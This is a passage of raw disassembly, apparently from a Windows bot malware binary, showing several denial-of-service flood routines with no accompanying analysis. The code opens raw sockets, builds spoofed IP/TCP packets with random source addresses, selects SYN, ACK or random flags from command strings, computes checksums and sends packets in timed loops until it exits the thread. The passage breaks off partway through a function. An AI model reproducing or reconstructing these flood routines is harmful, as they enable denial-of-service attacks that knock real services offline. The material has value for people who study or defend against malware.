		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4146B4:				; CODE XREF: sub_414630+62j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_414630	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146D3	proc near		; CODE XREF: sub_414630+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Src		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4E4234	; gethostname
		push	[ebp+var_4]
		call	dword_4E42A4	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4E42A0	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4E4200	; setsockopt
		mov	esi, 200h
		push	esi		; Size
		call	_malloc
		mov	edi, ds:dword_4F63B0
		pop	ecx
		mov	[ebp+Memory], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4E4220	; htons
		mov	[ebp+var_96], ax

loc_4147EE:				; CODE XREF: sub_4146D3+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_4148D4
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	_rand
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+Src], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	_rand
		mov	[ebp+var_20], ax
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4E4220	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4E4220	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	_rand
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Src]
		push	eax
		call	sub_40B002
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		push	[ebp+Memory]	; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+Memory]
		push	[ebp+var_4]
		call	dword_4E4284	; sendto
		jmp	loc_4147EE
; ---------------------------------------------------------------------------

loc_4148D4:				; CODE XREF: sub_4146D3+12Cj
		push	[ebp+Memory]	; Memory
		call	_free
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4146D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148EE	proc near		; DATA XREF: sub_401CC7+5536o

Dest		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
Str		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
Src		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_4F63B0
		call	edi	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4E42A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4149B7
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DEA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414997
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D6C
		add	esp, 14h

loc_414997:				; CODE XREF: sub_4148EE+84j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_BC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_4149B7:				; CODE XREF: sub_4148EE+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4E4200	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414A35
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DED4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414A15
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D6C
		add	esp, 14h

loc_414A15:				; CODE XREF: sub_4148EE+102j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_BC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_414A35:				; CODE XREF: sub_4148EE+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414AA5
		lea	eax, [ebp+Dest]
		push	offset asc_44DF0C ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_414A85
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D6C
		add	esp, 14h

loc_414A85:				; CODE XREF: sub_4148EE+172j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_BC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_414AA5:				; CODE XREF: sub_4148EE+157j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	ebx
		call	dword_4E4220	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E4260	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax

loc_414ADD:				; CODE XREF: sub_4148EE+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_414DA1
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4E4220	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414B50
		call	_rand
		mov	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_414B66
; ---------------------------------------------------------------------------

loc_414B50:				; CODE XREF: sub_4148EE+233j
		push	[ebp+var_240]
		call	sub_40AFA9
		pop	ecx
		push	eax
		call	dword_4E4260	; inet_addr
		mov	[ebp+var_20], eax

loc_414B66:				; CODE XREF: sub_4148EE+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_414B84
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_414B8A
; ---------------------------------------------------------------------------

loc_414B84:				; CODE XREF: sub_4148EE+284j
		push	[ebp+var_B8]

loc_414B8A:				; CODE XREF: sub_4148EE+294j
		call	dword_4E4220	; htons
		mov	[ebp+var_16], ax
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E4220	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4E421C	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Str]
		push	offset aSyn_1	; "syn"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414BDA
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_414C36
; ---------------------------------------------------------------------------

loc_414BDA:				; CODE XREF: sub_4148EE+2E1j
		lea	eax, [ebp+Str]
		push	offset aAck_0	; "ack"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414BFA
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_414C36
; ---------------------------------------------------------------------------

loc_414BFA:				; CODE XREF: sub_4148EE+301j
		lea	eax, [ebp+Str]
		push	offset aRandom_2 ; "random"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414C36
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_414C36:				; CODE XREF: sub_4148EE+2EAj
					; sub_4148EE+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4E4220	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+Src], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4E4220	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_80]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40B002
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_8C]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_78]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40B002
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4E4284	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414D23
		inc	[ebp+arg_0]
		jmp	loc_414ADD
; ---------------------------------------------------------------------------

loc_414D23:				; CODE XREF: sub_4148EE+42Bj
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_44DF3C ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414D81
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D6C
		add	esp, 14h

loc_414D81:				; CODE XREF: sub_4148EE+46Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_BC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_414DA1:				; CODE XREF: sub_4148EE+203j
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DF8C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414E12
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D6C
		add	esp, 14h

loc_414E12:				; CODE XREF: sub_4148EE+4FFj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_BC]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
sub_4148EE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E32	proc near		; CODE XREF: sub_414F3C+19Ap
					; sub_414F3C+1A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_414E5E
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414E50:				; CODE XREF: sub_414E32+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414E50
		pop	edi
		cmp	eax, 1

loc_414E5E:				; CODE XREF: sub_414E32+12j
		jnz	short loc_414E6B
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax

loc_414E6B:				; CODE XREF: sub_414E32:loc_414E5Ej
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_414E32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E84	proc near		; DATA XREF: sub_401CC7+6E98o

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E4260	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_414F3C
		add	esp, 19Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DFDC ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414F1F
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_409D6C
		add	esp, 14h

loc_414F1F:				; CODE XREF: sub_414E84+79j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
sub_414E84	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F3C	proc near		; CODE XREF: sub_414E84+54p

Dest		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
Src		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
Dst		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, ds:dword_4F63B0
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4E42A0	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		mov	edi, 578h
		push	edi		; Size
		push	9
		push	1
		call	sub_419589
		pop	ecx
		pop	ecx
		push	eax		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	esi, 5A0h

loc_414F96:				; CODE XREF: sub_414F3C+235j
		call	ds:dword_4F63B0	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_415176
		cmp	dword_4E7A18, ebx
		jnz	short loc_415015
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax		; Size
		lea	eax, [ebp+var_68]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E41C4	; getsockname
		push	0FFh
		push	1
		call	sub_419589
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aD_D_D_D_1 ; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_415028
; ---------------------------------------------------------------------------

loc_415015:				; CODE XREF: sub_414F3C+7Ej
		lea	eax, [ebp+Dest]
		push	offset byte_4E73F8 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx

loc_415028:				; CODE XREF: sub_414F3C+D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	dword_4E4260	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4E4220	; htons
		mov	[ebp+var_52], ax
		call	_rand
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	_rand
		mov	[ebp+var_40], ax
		call	_rand
		mov	[ebp+var_3E], ax
		call	_rand
		mov	[ebp+var_3C], eax
		call	_rand
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_414E32
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_414E32
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	ds:dword_4F6560	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_40]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_8C]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_414E32
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4E4284	; sendto
		inc	[ebp+var_4]
		jmp	loc_414F96
; ---------------------------------------------------------------------------

loc_415176:				; CODE XREF: sub_414F3C+72j
		push	[ebp+var_8]
		call	dword_4E42B8	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415187	proc near		; DATA XREF: sub_401CC7+4DC7o

Dest		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4151FE
		add	esp, 214h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44E01C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		add	esp, 14h
		push	0
		call	ds:dword_4F63D4	; ExitThread
sub_415187	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4151FE(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_4151FE	proc near		; CODE XREF: sub_415187+3Bp

Dest		= byte ptr -254h
var_54		= byte ptr -54h
Dst		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
